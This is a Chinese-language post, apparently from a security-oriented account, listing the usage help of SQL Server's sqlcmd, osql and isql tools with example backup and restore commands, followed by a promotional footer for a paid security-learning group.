Microsoft (R) SQL Server 命令行工具
版本 9.00.1399.06 NT INTEL X86
版权所有 (c) Microsoft Corporation。保留所有权利。
用法: Sqlcmd [-U 登录 ID] [-P 密码]
[-S 服务器] [-H 主机名] [-E 可信连接]
[-d 使用数据库名称] [-l 登录超时值] [-t 查询超时值]
[-h 标题] [-s 列分隔符] [-w 屏幕宽度]
[-a 数据包大小] [-e 回显输入] [-I 允许带引号的标识符]
[-c 命令结束] [-L[c] 列出服务器[清除输出]]
[-q "命令行查询"] [-Q "命令行查询" 并退出]
[-m 错误级别] [-V 严重级别] [-W 删除尾随空格]
[-u unicode 输出] [-r[0|1] 发送到 stderr 的消息]
[-i 输入文件] [-o 输出文件] [-z 新密码]
[-f <代码页> | i:<代码页>[,o:<代码页>]] [-Z 新建密码并退出]
[-k[1|2] 删除[替换]控制字符]
[-y 可变长度类型显示宽度]
[-Y 固定长度类型显示宽度]
[-p[1] 打印统计信息[冒号格式]]
[-R 使用客户端区域设置]
[-b 出错时中止批处理]
[-v 变量 = "值"...] [-A 专用管理连接]
[-X[1] 禁用命令、启动脚本、环境变量[并退出]]
[-x 禁用变量情况]
[-? 显示语法摘要]
osql
sql2000和sql2005都有
备份
"C:/Program Files/Microsoft SQL Server/90/Tools/Binn/Osql.EXE" -S ./sqlexpress -U sa -P 000000 -d master -Q"BACKUP DATABASE test to disk='c:/aa/aaa.bak'"
还原
"C:/Program Files/Microsoft SQL Server/90/Tools/Binn/Osql.EXE" -S ./sqlexpress -U sa -P 000000 -d master -Q"RESTORE DATABASE test from disk='c:/aa/aaa.bak'"
帮助信息
"C:/Program Files/Microsoft SQL Server/90/Tools/
Binn/Osql.EXE" /?
Microsoft (R) SQL Server 命令行工具
版本 9.00.1399.06 NT INTEL X86
版权所有 (c) Microsoft Corporation。保留所有权利。
注意: osql 并不支持 SQL Server 2005的所有功能。
请使用 sqlcmd。有关详细信息,请参阅 SQL Server 联机丛书。
用法: osql [-U 登录 ID] [-P 密码]
[-S 服务器] [-H 主机名] [-E 可信连接]
[-d 使用数据库名称] [-l 登录超时值] [-t 查询超时值]
[-h 标题] [-s 列分隔符] [-w 列宽]
[-a 数据包大小] [-e 回显输入] [-I 允许带引号的标识符]
[-L 列出服务器] [-c 命令结束] [-D ODBC DSN 名称]
[-q "命令行查询"] [-Q "命令行查询" 并退出]
[-n 删除编号方式] [-m 错误级别]
[-r 发送到 stderr 的消息] [-V 严重级别]
[-i 输入文件] [-o 输出文件]
[-p 打印统计信息] [-b 出错时中止批处理]
[-X[1] 禁用命令,[退出的同时显示警告]]
[-O 使用旧 ISQL 行为禁用下列项]
<EOF> 批处理
自动调整控制台宽度
宽消息
默认错误级别为 -1 和 1
[-? 显示语法摘要]
isql
sql2000工具,2005中没有
备份
"C:/Program Files/Microsoft SQL Server/80/Tools/Binn/Isql.EXE" -S ./sqlexpress -U sa -P 000000 -d master -Q"BACKUP DATABASE test to disk='c:/aa/aaa.bak'"
还原
"C:/Program Files/Microsoft SQL Server/80/Tools/Binn/Isql.EXE" -S ./sqlexpress -U sa -P 000000 -d master -Q"RESTORE DATABASE test from disk='c:/aa/aaa.bak'"
帮助信息
"C:/Program Files/Microsoft SQL Server/80/Tools/
Binn/Isql.EXE"/?
isql: unknown option ?
usage: isql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-x max text size]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary (this screen)]
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读
声明
NO.7
本文作者:网络潜水员
本文编辑:Yusa
感谢 网络潜水员 (๑•̀ㅂ•́)و✧
参考文档:
https://wenku.baidu.com/view/fb877323b307e87100f69608.html
http://blog.chinaunix.net/uid-20423564-id-1949118.html
http://www.jb51.net/article/108979.htm
http://blog.csdn.net/oShuangYue12/article/details/54745976